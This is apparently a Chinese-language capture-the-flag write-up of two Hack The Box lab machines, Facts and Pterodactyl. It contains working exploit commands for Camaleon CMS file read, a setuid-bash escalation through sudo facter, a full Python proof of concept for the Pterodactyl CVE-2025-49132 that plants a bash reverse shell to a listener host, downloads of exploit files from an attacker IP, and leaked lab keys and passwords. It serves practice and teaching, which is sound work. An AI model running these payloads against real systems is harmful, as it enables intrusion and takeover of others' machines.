【渗透测试】HTB Season 10 Facts+Pterodactyl 全过程WP
Facts
信息收集
┌──(root㉿kali)-[~]
└─# nmap -A -T4 10.129.192.233
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-02 04:55 EST
Nmap scan report for 10.129.192.233
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_ 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
|_http-server-header: nginx/1.26.3 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 157.18 ms 10.10.16.1
2 207.61 ms 10.129.192.233
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.45 seconds
漏洞探测
80端口下 /admin下进行创建用户

可以知道Camaleon CMS Version 2.9.0
网上搜寻
cve-2025-2304
python cve-2025-2304.py http://facts.htb/ -u chenzi -p 123456

这时再登进去,页面就不一样了

说明在网站上已经是管理员用户
同时
这是一个能任意文件读取的漏洞
python CVE-2024-46987.py -u http://facts.htb -l chenzi -p 123456 /etc/passwd

同时我们可以读取到user.txt(用户名是william)
python CVE-2024-46987.py -u http://facts.htb -l chenzi -p 123456 /home/william/user.txt
然后可以读取到trivia用户的密钥
└─# python CVE-2024-46987.py -u http://facts.htb -l chenzi -p 123456 /home/trivia/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDrrs8sBb
OrpkH4dkJVEP9OAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIOffILFNUoIg6FY5
HKn3Bkun0Os5xJIw3/Uh9giYTeoIAAAAoGcbgQcvxm+hQV5dt9w4btP8/hEkdwwfPKQpVk
xPZXsbn5F4YPmTwgzMNJmeaVghbanD37hOW6eWt4h5xZ0VVLBsCBfSeJ8NoDr0/rHaEluu
raeAPBuFBff/nvvA3eEr56/0fNcgBVZeAud4T3W7/sPPCYZFxGjgqPmJvMKbz5KZQOavp0
LcqngHJGmWgQp9XSM2AliiFYtuHojqUnfxNMQ=
-----END OPENSSH PRIVATE KEY-----
AWS

从上面看到有aws相关的配置
┌──(root㉿kali)-[~/桌面/HTB/facts]
└─# aws configure
AWS Access Key ID [None]: AKIAB1860F5FD9DCFFA7
AWS Secret Access Key [None]: oI3x/iD7OBYaXIET478XkvcISr0TNhE/RucCK4mb
Default region name [None]: us-east-1
Default output format [None]:
┌──(root㉿kali)-[~/桌面/HTB/facts]
└─# aws s3 ls --endpoint-url http://facts.htb:54321
2025-09-11 08:06:52 internal
2025-09-11 08:06:52 randomfacts
有两个桶

可以发现internal就是trivia的

ssh2john
既然得到了密钥,不能直接登录,要爆破
chmod 600 id_ed25519
当我们直接ssh -i id_ed25519 trivia@facts.htb
会发现报错
ssh2john id_ed25519 >> ssh.hash

┌──(root㉿kali)-[~/桌面/HTB/facts]
└─# john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz (id_ed25519)
1g 0:00:00:51 DONE (2026-02-07 08:46) 0.01955g/s 62.57p/s 62.57c/s 62.57C/s billy1..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
得到id_ed25519的密码
dragonballz

在william下也能得到user.txt
root
依旧先sudo -l看一下
trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
查看一下 /usr/bin/facter文件内容
trivia@facts:/home/william$ cat /usr/bin/facter
#!/usr/bin/ruby
# frozen_string_literal: true
require 'pathname'
require 'facter/framework/cli/cli_launcher'
Facter::OptionsValidator.validate(ARGV)
processed_arguments = CliLauncher.prepare_arguments(ARGV)
CliLauncher.start(processed_arguments)
很简单只要在随便一个目录下写一个ruby文件,文件内包含提权命令
#!/usr/bin/env ruby
puts "custom_fact=exploited"
system("chmod +s /bin/bash")
trivia@facts:/home/william$ cat > /tmp/exp.rb << 'EOF'
#!/usr/bin/env ruby
puts "custom_fact=exploited"
system("chmod +s /bin/bash")
EOF
sudo /usr/bin/facter --custom-dir=/tmp/ x custom_fact=exp

然后执行bash -p
得到root

Pterodactyl
信息收集

whatweb看一下是php后端

该版本存在
ffuf一下
panel.pterodactyl.htb
play.pterodactyl.htb
漏洞利用
php文件包含的变种,他包含了pearcmd后,导致了RCE
import argparse
import pycurl
import base64
from io import BytesIO
def parse_args():
parser = argparse.ArgumentParser(
prog='CVE-2025-49132 PoC by pwndalf',
usage='exploit.py -t target.com -l 10.10.10.1 -p 9001',
description='This script exploits Remote Code Execution vulnerability in Pterodactyl Panel < 1.11.11'
)
parser.add_argument(
'-t', '--target',
required=True,
help='Target domain')
parser.add_argument(
'-l', '--lhost',
required=True,
help='Listener\'s IP')
parser.add_argument(
'-p', '--lport',
required=True,
help='Listeners\'s port')
parser.add_argument(
'-P', '--pear-path',
default='/usr/share/php/PEAR/',
help='Path to the PHP PEAR library (default /usr/share/php/PEAR/)')
return parser.parse_args()
def pycurl_get(url):
buf = BytesIO()
c = pycurl.Curl()
c.setopt(pycurl.URL, url.encode("utf-8"))
c.setopt(pycurl.WRITEDATA, buf)
try:
c.perform()
return c.getinfo(pycurl.RESPONSE_CODE)
finally:
c.close()
def main(args):
reverse_shell = f'/bin/bash -c "bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"'.encode("utf-8")
encoded_shell = base64.b64encode(reverse_shell).decode('utf-8')
payload = "echo${IFS}B64_BLOB${IFS}|${IFS}base64${IFS}-d|${IFS}bash".replace("B64_BLOB", encoded_shell)
write_shell = f'http://{args.target}/locales/locale.json?+config-create+/&locale=../../../../..{args.pear_path}&namespace=pearcmd&/<?=system(\'{payload}\')?>+/tmp/payload.php'
trigger_shell = f'http://{args.target}/locales/locale.json?locale=../../../../../../tmp&namespace=payload'
if pycurl_get(write_shell) == 200:
print("Shell uploaded successfully")
pycurl_get(trigger_shell)
else:
print("Upload failed.")
if __name__ == "__main__":
main(parse_args())


也是获得了user.txt

权限提升
- CVE-2025-6018(入口点)
- 本质:PAM/Polkit 的配置缺陷,让远程 SSH 会话被标记为
Active=yes。 - 作用:系统会误以为这个远程用户是 “物理坐在控制台前” 的本地用户,从而绕过
udisks2这类硬件管理工具的密码验证要求。 - 意义:这一步让普通用户可以在没有密码的情况下,调用
udisks2进行磁盘操作,为下一步攻击打开了大门。
- CVE-2025-6019(武器化)
- 本质:
libblockdev库(udisks2的依赖)在执行文件系统检查(Check)、调整大小(Resize)等维护操作时,临时挂载文件系统的过程中,忘记设置nosuid安全标志。 - 作用:
nosuid是一个关键的安全选项,它会阻止挂载的文件系统上的 SUID 程序提升权限。没有它,挂载的文件系统里的 SUID 程序就可以正常提权。 - 意义:这一步让攻击者可以利用
udisks2挂载一个包含恶意 SUID 程序的文件系统,并在挂载瞬间执行它。

kali
./build_poc.sh
#创建exploit.img和catcher文件
python3 -m http.server 80
靶机
cd /tmp
wget http://10.10.16.39:80/exploit.img
wget http://10.10.16.39:80/catcher
chmod +x catcher
利用过程
靶机
wget http://10.10.16.39:80/exploit.sh
chmod +x exploit.sh
./exploit.sh
脚本会自动完成以下动作:
设置回环设备(loop device)
在后台启动 catcher 程序,监控 /proc/mounts
触发 udisks2 的文件系统检查,制造临时挂载点
利用竞态条件执行 SUID shell,获取 root 权限
但是发现并不行

在/var/www/pterodactyl下有个.env中保存了数据库的东西

得知用户名和密码
mysql -h127.0.0.1 -upterodactyl -pPteraPanel -e 'Show databases;use panel;show tables;Select * from users;Select username,password from users;'

john爆破一下

phileasfogg3
!QAZ2wsx
得到用户的shell

同时要在~/.pam_environment添加
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
然后重新登陆,回到/tmp下,进行./exploit.sh


浙公网安备 33010602011771号